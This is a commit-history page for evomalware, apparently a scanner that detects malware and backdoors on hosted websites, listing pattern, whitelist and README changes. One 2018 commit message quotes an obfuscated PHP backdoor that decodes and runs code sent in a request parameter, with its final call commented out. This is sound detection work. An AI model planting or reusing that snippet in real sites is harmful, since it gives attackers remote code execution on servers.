evolix
/
evomalware
21
1
Bifurcation 0
Code Tickets 11 Demandes d'ajout Publications Wiki Activité
72 Révisions 1 Branche 0 Étiquette 189 KiB
Graphe des révisions

72 Révisions

Auteur SHA1 Message Date
William Hirigoyen ae65ae4576 Fix: Insert missing OR ('|') between common and local regex in concatenation, this was causing local whitelist being ignored. 2023-01-10 15:23:21 +01:00
Benoît S. c66aae5f38 Add a new pattern 2020-06-10 16:29:39 +09:00
Benoît S. 5566d64b8d Mise à jour md5 2019-07-01 17:23:54 +02:00
Benoît S. 7c0b08e2b5 Add some directories in whitelist 2019-06-27 10:59:48 +02:00
Benoît S. 4b71c063ac Remove false positive 2019-06-27 10:58:52 +02:00
Benoît S. 37d95a4529 Add a new file to known malware 2019-02-04 15:59:32 +01:00
Benoît S. 3e693fc601 Merge branch 'license-readme-conformity' of evolix/evomalware into master 2019-01-02 09:25:50 +01:00
Patrick Marchand dedae4b97e Project is now GPLv3 
Also commits a few language fixes to the readme.
 2018-12-24 15:11:47 -05:00
Benoît S. f1d2685a92 Add patterns 2018-12-19 16:40:09 +01:00
Benoît S. dd880d78b7 Add rules to the whitelist 2018-11-08 10:17:56 +01:00
Benoît S. 7a0e8b9e8f Update README 
Break line
 2018-11-02 10:31:41 +01:00
Benoît S. 4b1a297829 Update README 2018-11-02 10:29:58 +01:00
Benoît S. f495defe98 Added patterns 2018-10-30 17:33:58 +01:00
Benoît S. 902401beef Whitelist smarty cache, too much PHP files 
Can be me more than 20k files on some websites.
 2018-10-23 11:41:34 +02:00
Benoît S. 25c3aafba0 Adding support for .js files 2018-10-19 15:05:53 +02:00
Benoît S. 59ad4ea20e New pattern 2018-10-19 14:48:35 +02:00
Bruno TATU 877a8992e4 add pattern 2018-05-21 11:19:00 +02:00
Romain Dessort 888d644b6a Add support for local whitelist 
Since the whitelist file is redownloaded on each script execution, we
can not define our own paths to exclude from scan.
This commit introduces a evomalware.whitelist.local file to fix this
issue.
 2018-01-29 10:36:15 -05:00
Benoît S. 4c89a12f28 Add a new pattern 
if(isset($_REQUEST['sort'])){   ^M
        $string = $_REQUEST['sort'];^M
        $array_name = '';^M
        $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";^M
        $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);^M
        foreach($ar as $t){^M
           $array_name .= $alphabet[$t];^M
        }^M
        $a = strrev("noi"."tcnuf"."_eta"."erc");^M
        $f = $a("", $array_name($string));^M
        // MALWARE $f();^M
        exit();^M
}
 2018-01-04 17:59:22 +01:00
Benoît S. 01f5f68fd6 Update whitelist 2018-01-03 09:07:42 +01:00
Benoît S. 72b75906db Added wp-includes/formatting.php to whitelist 2017-11-28 14:40:33 +01:00
Benoît S. 95a31376f9 Add administrator/components/com_artadminer/adminer.php to whitelist 2017-07-20 17:39:02 +02:00
Benoît S. 9dfcdaf689 Add some files in the whitelist. 2017-05-26 15:17:24 +02:00
Benoît S. e65360f6a3 New whitelist. 2017-03-21 11:56:38 +01:00
Benoît S. 48e4133e50 Add pfn to whitelist. 2016-09-05 16:37:05 +02:00
Benoît S. 99f9c18029 Add wp-content/uploads/ithemes-security/index.php to whitelist. 2016-08-22 09:54:47 +02:00
Benoît S. a516356b7a Added crawlprotect/include/createhtaccess.php to whitelist. 2016-08-12 17:25:01 +02:00
Benoît S. f8d354f2ac Added Magento plugin to whitelist. 2016-05-06 15:25:32 +02:00
Benoît S. d734ea5235 Add new pattern to whitelist. 2016-05-06 12:27:14 +02:00
Benoît S. c5224ec31d Added some patterns to whitelist. 2016-04-18 18:00:11 +02:00
Benoît S. ee757a07b6 Add a JS lib into whitelist. 2016-03-11 14:29:42 +01:00
Benoît S. bb5b2f1a9f Add into whitelist: wp-content/uploads/backupbuddy_backups/index.php 2016-02-26 15:26:48 +01:00
Benoît S. 5eeee3e49b Whitelist whikimedia Language.php. 2016-02-17 09:53:51 +01:00
Benoît S. f97bf01643 New pattern. 2016-02-17 09:51:49 +01:00
Benoît S. 28534a8d15 Add a patern. 2016-02-15 09:34:22 +01:00
Benoît S. 97808bb3b0 New signature. 2016-02-12 14:49:46 +01:00
Benoît S. 5b8baef7dc Whitelist Extendware module. 2016-01-04 09:44:26 +01:00
Benoît S. 1f1e23419f Fixed typographical error, changed aggresive to aggressive in README. 
By 171cf2ffc7
 2015-12-11 17:48:15 +01:00
Benoît S. 47b1fecfbb Remove one pattern in BL (false positive) and add some patterns in WL. 2015-12-11 17:44:51 +01:00
Benoît S. 6472b23ef3 Add wp-content/uploads/wpallexport in whitelist. 2015-09-02 10:18:43 +02:00
Benoît S. 727f5d39f6 Added a backdoor. 2015-08-17 11:23:54 +02:00
Benoît S. 2a3dec544c Added a SPAM mailer. 2015-08-17 11:22:11 +02:00
Benoît S. 67bf686ffb And update MD5 list... 2015-08-17 10:54:09 +02:00
Benoît S. 4a73592c90 Remove a false positive pattern. 2015-08-17 10:52:38 +02:00
Benoît S. bc4c0ca3d7 Added LMD project. 2015-08-05 15:56:02 +02:00
Benoît S. 5274307217 Added patterns to whitelist. 2015-07-31 15:26:14 +02:00
Benoît S. 0e28b9ec3b Added Plecost project. 2015-07-15 10:29:43 +02:00
Benoît S. 4c385e8103 Add some path in whitelist. 2015-07-02 11:02:09 +02:00
Benoît S. 16d7ec928a Updated README. 2015-06-29 18:25:36 +02:00
Benoît S. c2eabbd343 Added README file. 2015-06-29 18:21:27 +02:00